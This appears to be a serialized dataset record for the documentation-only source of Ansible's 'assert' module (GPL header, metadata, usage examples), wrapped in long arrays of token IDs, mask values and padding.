8, 18, 10, 1038, 10, 78, 9, 221, 327, 15689, 12343, 268, 333, 259, 275, 980, 14, 5605, 8, 16, 12, 45, 9, 3322, 327, 2790, 603, 31043, 823, 687, 378, 370, 413, 268, 18319, 257, 275, 1437, 2801, 17, 74, 10, 18, 10, 1038, 10, 77, 10, 10909, 9, 755, 327, 17854, 15663, 5477, 268, 10900, 257, 275, 6308, 8, 13683, 12, 18319, 9, 5185, 327, 11514, 19914, 6535, 268, 4747, 221, 275, 18319, 627, 21304, 1182, 10900, 4519, 327, 428, 15557, 581, 436, 3293, 9096, 4353, 881, 489, 336, 275, 980, 14, 26947, 855, 1222, 721, 277, 12, 4747, 9, 199, 3, 17388, 7824, 7782, 45, 5529, 199, 3, 17388, 4328, 275, 283, 8252, 11572, 334, 10909, 2458, 68, 3171, 5, 10909, 9, 199, 3, 17388, 4328, 534, 8252, 11572, 334, 10909, 2458, 68, 3171, 5, 10909, 12, 199, 3, 17388, 2215, 63, 3257, 7782, 45, 1673, 17, 1333, 489, 372, 336, 23664, 199, 199, 533, 1804, 5789, 332, 8, 1590, 14, 26947, 304, 2043, 1449, 75, 5789, 332, 8, 603, 29, 709, 12, 8201, 29, 17, 12, 14524, 29, 16, 12, 3293, 9096, 29, 549, 776, 2043, 710, 1804, 5789, 332, 4353, 365, 282, 307, 9804, 28917, 701, 1808, 282, 699, 28817, 805, 14, 272, 272, 3897, 272, 4143, 272, 603, 3515, 334, 442, 9, 258, 520, 4860, 402, 4501, 315, 314, 1072, 4353, 14, 272, 8201, 755, 334, 1609, 9, 257, 520, 16528, 2725, 367, 4353, 14, 272, 14524, 263, 334, 1609, 9, 257, 520, 17854, 15663, 9324, 14, 272, 3293, 9096, 334, 4871, 9, 520, 3645, 3293, 9096, 4353, 12343, 31, 272, 1449, 881, 2043, 347, 636, 1222, 721, 277, 12, 603, 29, 709, 12, 8201, 29, 17, 12, 14524, 29, 16, 12, 3293, 9096, 29, 549, 12, 29402, 29, 797, 304, 2541, 340, 440, 29402, 26, 10473, 268, 340, 14524, 508, 378, 26, 288, 21304, 3515, 275, 980, 14, 75, 5789, 332, 8, 45, 12, 8201, 9, 3698, 327, 15689, 12343, 288, 4747, 260, 275, 21304, 1182, 3089, 8, 13683, 9, 7861, 327, 11514, 9096, 4353, 268, 587, 26, 288, 21304, 3515, 275, 980, 14, 75, 5789, 332, 8, 45, 12, 8201, 9, 3698, 327, 15689, 12343, 288, 333, 3698, 275, 980, 14, 5605, 8, 16, 12, 45, 9, 4519, 327, 2790, 603, 31043, 823, 687, 378, 370, 413, 288, 282, 3698, 275, 1437, 2801, 17, 74, 10, 18, 10, 1038, 10, 77, 10, 10909, 9, 258, 327, 17854, 15663, 5477, 288, 10900, 3515, 275, 6308, 8, 13683, 12, 282, 9, 10473, 327, 11514, 19914, 6535, 288, 4747, 260, 275, 282, 627, 21304, 1182, 10900, 4483, 327, 428, 15557, 581, 436, 3293, 9096, 4353, 489, 587, 26, 268, 340, 14524, 508, 378, 26, 288, 21304, 3515, 275, 413, 1182, 980, 14, 75, 5789, 332, 8, 45, 12, 8201, 9, 3698, 327, 15689, 12343, 288, 4747, 260, 275, 21304, 1182, 3089, 8, 13683, 9, 7861, 327, 11514 ]
[ 504, 2434, 10597, 492, 653, 68, 1144, 199, 199, 504, 486, 9204, 492, 2112, 6213, 199, 199, 504, 333, 1236, 2085, 492, 6682, 12, 6308, 12, 9794, 12, 9829, 12, 1437, 327, 4548, 12, 6114, 12, 9829, 12, 7403, 2638, 12, 1437, 12, 6682, 12, 6308, 12, 9324, 199, 646, 333, 1236, 2085, 465, 980, 199, 3, 504, 19199, 492, 5137, 12, 1007, 2798, 12, 671, 1302, 12, 612, 1302, 12, 6068, 12, 2498, 12, 9658, 12, 31709, 12, 284, 1997, 421, 199, 533, 15689, 8, 1590, 14, 26947, 304, 2043, 347, 636, 1222, 721, 277, 12, 730, 534, 1201, 297, 1011, 958, 304, 489, 687, 486, 9204, 492, 1125, 489, 340, 730, 508, 283, 1201, 356, 268, 372, 291, 14, 1201, 8, 277, 12, 958, 9, 489, 916, 730, 508, 283, 75, 5789, 332, 356, 268, 372, 291, 14, 75, 5789, 332, 8, 958, 9, 489, 587, 26, 268, 1125, 8, 277, 12, 283, 1918, 4353, 730, 450, 83, 365, 440, 17319, 9096, 5956, 466, 9, 199, 3, 199, 3, 420, 4094, 15684, 855, 826, 721, 277, 9, 199, 3, 420, 6654, 461, 855, 826, 721, 277, 9, 199, 199, 533, 21536, 8, 1590, 14, 26947, 304, 2043, 347, 636, 1222, 721, 277, 12, 603, 29, 709, 12, 14524, 29, 16, 12, 3293, 9096, 29, 549, 304, 1467, 489, 327, 2790, 314, 4353, 489, 340, 14524, 508, 378, 26, 268, 4747, 275, 980, 14, 4548, 8, 334, 45, 4706, 2152, 29, 403, 776, 1182, 603, 489, 587, 26, 268, 21304, 260, 275, 980, 14, 4548, 8, 603, 12, 2152, 29, 5254, 776, 257, 327, 15689, 12343, 268, 333, 3515, 275, 980, 14, 5605, 8, 16, 12, 45, 9, 257, 327, 2790, 603, 31043, 823, 687, 378, 370, 413, 268, 282, 3515, 275, 1437, 2801, 17, 74, 10, 18, 10, 1038, 10, 77, 10, 10909, 9, 755, 327, 17854, 15663, 5477, 268, 10900, 260, 275, 6308, 8, 13683, 12, 282, 9, 10473, 327, 11514, 19914, 6535, 268, 4747, 260, 275, 282, 627, 21304, 1182, 10900, 4483, 327, 428, 15557, 581, 436, 3293, 9096, 4353, 881, 489, 336, 275, 980, 14, 26947, 855, 1222, 721, 277, 12, 4747, 9, 199, 3, 17388, 7824, 7782, 45, 5529, 199, 3, 17388, 4328, 275, 283, 8252, 11572, 334, 10909, 2458, 68, 3171, 5, 10909, 9, 199, 3, 17388, 4328, 534, 8252, 11572, 334, 10909, 2458, 68, 3171, 5, 10909, 12, 199, 3, 17388, 2215, 63, 3257, 7782, 45, 1673, 17, 1333, 489, 372, 336, 421, 199, 533, 12480, 71, 8, 1590, 14, 26947, 304, 2043, 347, 636, 1222, 721, 277, 12, 603, 29, 709, 12, 282, 29, 16, 14, 1477, 12, 14524, 29, 16, 12, 3293, 9096, 29, 549, 304, 1467, 489, 327, 2790, 314, 4353, 489, 340, 14524, 508, 378, 26, 268, 21304, 257, 275, 282, 435, 334, 17, 13, 65, 3342, 1590, 14, 5197, 8, 18, 10, 1038, 10, 1590, 14, 11649, 2801, 16, 14, 21, 12, 16, 14, 21, 12, 45, 430, 268, 4747, 221, 275, 21304, 1182, 3089, 8, 13683, 9, 7861, 327, 11514, 9096, 4353, 489, 587, 26, 268, 302, 259, 275, 980, 14, 11649, 2801, 16, 14, 21, 12, 16, 14, 21, 12, 45, 9, 268, 21304, 257, 275, 282, 435, 334, 17, 13, 65, 3342, 1590, 14, 5197, 8, 18, 10, 1038, 10, 78, 9, 221, 327, 15689, 12343, 268, 333, 259, 275, 980, 14, 5605, 8, 16, 12, 45, 9, 3322, 327, 2790, 603, 31043, 823, 687, 378, 370, 413, 268, 18319, 257, 275, 1437, 2801, 17, 74, 10, 18, 10, 1038, 10, 77, 10, 10909, 9, 755, 327, 17854, 15663, 5477, 268, 10900, 257, 275, 6308, 8, 13683, 12, 18319, 9, 5185, 327, 11514, 19914, 6535, 268, 4747, 221, 275, 18319, 627, 21304, 1182, 10900, 4519, 327, 428, 15557, 581, 436, 3293, 9096, 4353, 881, 489, 336, 275, 980, 14, 26947, 855, 1222, 721, 277, 12, 4747, 9, 199, 3, 17388, 7824, 7782, 45, 5529, 199, 3, 17388, 4328, 275, 283, 8252, 11572, 334, 10909, 2458, 68, 3171, 5, 10909, 9, 199, 3, 17388, 4328, 534, 8252, 11572, 334, 10909, 2458, 68, 3171, 5, 10909, 12, 199, 3, 17388, 2215, 63, 3257, 7782, 45, 1673, 17, 1333, 489, 372, 336, 23664, 199, 199, 533, 1804, 5789, 332, 8, 1590, 14, 26947, 304, 2043, 1449, 75, 5789, 332, 8, 603, 29, 709, 12, 8201, 29, 17, 12, 14524, 29, 16, 12, 3293, 9096, 29, 549, 776, 2043, 710, 1804, 5789, 332, 4353, 365, 282, 307, 9804, 28917, 701, 1808, 282, 699, 28817, 805, 14, 272, 272, 3897, 272, 4143, 272, 603, 3515, 334, 442, 9, 258, 520, 4860, 402, 4501, 315, 314, 1072, 4353, 14, 272, 8201, 755, 334, 1609, 9, 257, 520, 16528, 2725, 367, 4353, 14, 272, 14524, 263, 334, 1609, 9, 257, 520, 17854, 15663, 9324, 14, 272, 3293, 9096, 334, 4871, 9, 520, 3645, 3293, 9096, 4353, 12343, 31, 272, 1449, 881, 2043, 347, 636, 1222, 721, 277, 12, 603, 29, 709, 12, 8201, 29, 17, 12, 14524, 29, 16, 12, 3293, 9096, 29, 549, 12, 29402, 29, 797, 304, 2541, 340, 440, 29402, 26, 10473, 268, 340, 14524, 508, 378, 26, 288, 21304, 3515, 275, 980, 14, 75, 5789, 332, 8, 45, 12, 8201, 9, 3698, 327, 15689, 12343, 288, 4747, 260, 275, 21304, 1182, 3089, 8, 13683, 9, 7861, 327, 11514, 9096, 4353, 268, 587, 26, 288, 21304, 3515, 275, 980, 14, 75, 5789, 332, 8, 45, 12, 8201, 9, 3698, 327, 15689, 12343, 288, 333, 3698, 275, 980, 14, 5605, 8, 16, 12, 45, 9, 4519, 327, 2790, 603, 31043, 823, 687, 378, 370, 413, 288, 282, 3698, 275, 1437, 2801, 17, 74, 10, 18, 10, 1038, 10, 77, 10, 10909, 9, 258, 327, 17854, 15663, 5477, 288, 10900, 3515, 275, 6308, 8, 13683, 12, 282, 9, 10473, 327, 11514, 19914, 6535, 288, 4747, 260, 275, 282, 627, 21304, 1182, 10900, 4483, 327, 428, 15557, 581, 436, 3293, 9096, 4353, 489, 587, 26, 268, 340, 14524, 508, 378, 26, 288, 21304, 3515, 275, 413, 1182, 980, 14, 75, 5789, 332, 8, 45, 12, 8201, 9, 3698, 327, 15689, 12343, 288, 4747, 260, 275, 21304, 1182, 3089, 8, 13683, 9, 7861, 327, 11514, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
arista-eosplus/ansible
lib/ansible/modules/utilities/logic/assert.py
56
1766
#!/usr/bin/python # -*- coding: utf-8 -*- # Copyright 2012 Dag Wieers <dag@wieers.com> # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see <http://www.gnu.org/licenses/>. ANSIBLE_METADATA = {'metadata_version': '1.0', 'status': ['stableinterface'], 'supported_by': 'core'} DOCUMENTATION = ''' --- module: assert short_description: Asserts given expressions are true description: - This module asserts that given expressions are true with an optional custom message. version_added: "1.5" options: that: description: - "A string expression of the same form that can be passed to the 'when' statement" - "Alternatively, a list of string expressions" required: true msg: description: - "The customized message used for a failing assertion" required: false author: - "Ansible Core Team" - "Michael DeHaan" ''' EXAMPLES = ''' - assert: { that: "ansible_os_family != 'RedHat'" } - assert: that: - "'foo' in some_command_result.stdout" - "number_of_the_counting == 3" - assert: that: - "my_param <= 100" - "my_param >= 0" msg: "'my_param' must be between 0 and 100" '''
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1548, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 3, 1898, 6029, 26110, 644, 1873, 1192, 665, 7406, 32, 87, 1873, 1192, 14, 957, 30, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 2622, 199, 3, 199, 3, 2622, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 2622, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 2622, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 8490, 63, 8314, 275, 791, 2343, 63, 1023, 356, 283, 17, 14, 16, 297, 490, 283, 1205, 356, 788, 11989, 3266, 995, 490, 283, 4946, 63, 991, 356, 283, 1018, 936, 421, 199, 8948, 275, 1449, 199, 2595, 199, 578, 26, 702, 199, 3612, 63, 1802, 26, 10716, 83, 1627, 8455, 787, 2549, 199, 1802, 26, 1362, 446, 961, 859, 702, 83, 626, 1627, 8455, 787, 2549, 543, 376, 2716, 3537, 1245, 14, 199, 1023, 63, 3270, 26, 298, 17, 14, 21, 2, 199, 1419, 26, 523, 626, 26, 272, 1369, 26, 489, 446, 298, 33, 1059, 3965, 402, 314, 2011, 1824, 626, 883, 506, 3032, 370, 314, 283, 6526, 7, 5164, 2, 489, 446, 298, 19978, 17330, 12, 282, 769, 402, 1059, 8455, 2, 272, 1415, 26, 2549, 523, 1499, 26, 272, 1369, 26, 489, 446, 298, 1918, 26707, 1245, 1202, 367, 282, 18648, 14412, 2, 272, 1415, 26, 3055, 199, 2502, 26, 272, 446, 298, 10047, 11672, 11682, 2, 272, 446, 298, 45, 11781, 22453, 2, 199, 2344, 199, 199, 8918, 275, 1449, 199, 13, 702, 26, 469, 626, 26, 298, 4853, 63, 736, 63, 6606, 1137, 283, 10858, 40, 292, 4065, 789, 199, 199, 13, 702, 26, 272, 626, 26, 489, 446, 3546, 1421, 7, 315, 2005, 63, 1531, 63, 1099, 14, 2703, 2, 489, 446, 298, 1955, 63, 1618, 63, 1589, 63, 835, 316, 508, 650, 2, 199, 199, 13, 702, 26, 272, 626, 26, 489, 446, 298, 1662, 63, 635, 2695, 2948, 2, 489, 446, 298, 1662, 63, 635, 2356, 378, 2, 272, 1499, 26, 3546, 1662, 63, 635, 7, 1471, 506, 3382, 378, 436, 2948, 2, 199, 2344, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1548, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 3, 1898, 6029, 26110, 644, 1873, 1192, 665, 7406, 32, 87, 1873, 1192, 14, 957, 30, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 2622, 199, 3, 199, 3, 2622, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 2622, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 2622, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 8490, 63, 8314, 275, 791, 2343, 63, 1023, 356, 283, 17, 14, 16, 297, 490, 283, 1205, 356, 788, 11989, 3266, 995, 490, 283, 4946, 63, 991, 356, 283, 1018, 936, 421, 199, 8948, 275, 1449, 199, 2595, 199, 578, 26, 702, 199, 3612, 63, 1802, 26, 10716, 83, 1627, 8455, 787, 2549, 199, 1802, 26, 1362, 446, 961, 859, 702, 83, 626, 1627, 8455, 787, 2549, 543, 376, 2716, 3537, 1245, 14, 199, 1023, 63, 3270, 26, 298, 17, 14, 21, 2, 199, 1419, 26, 523, 626, 26, 272, 1369, 26, 489, 446, 298, 33, 1059, 3965, 402, 314, 2011, 1824, 626, 883, 506, 3032, 370, 314, 283, 6526, 7, 5164, 2, 489, 446, 298, 19978, 17330, 12, 282, 769, 402, 1059, 8455, 2, 272, 1415, 26, 2549, 523, 1499, 26, 272, 1369, 26, 489, 446, 298, 1918, 26707, 1245, 1202, 367, 282, 18648, 14412, 2, 272, 1415, 26, 3055, 199, 2502, 26, 272, 446, 298, 10047, 11672, 11682, 2, 272, 446, 298, 45, 11781, 22453, 2, 199, 2344, 199, 199, 8918, 275, 1449, 199, 13, 702, 26, 469, 626, 26, 298, 4853, 63, 736, 63, 6606, 1137, 283, 10858, 40, 292, 4065, 789, 199, 199, 13, 702, 26, 272, 626, 26, 489, 446, 3546, 1421, 7, 315, 2005, 63, 1531, 63, 1099, 14, 2703, 2, 489, 446, 298, 1955, 63, 1618, 63, 1589, 63, 835, 316, 508, 650, 2, 199, 199, 13, 702, 26, 272, 626, 26, 489, 446, 298, 1662, 63, 635, 2695, 2948, 2, 489, 446, 298, 1662, 63, 635, 2356, 378, 2, 272, 1499, 26, 3546, 1662, 63, 635, 7, 1471, 506, 3382, 378, 436, 2948, 2, 199, 2344, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
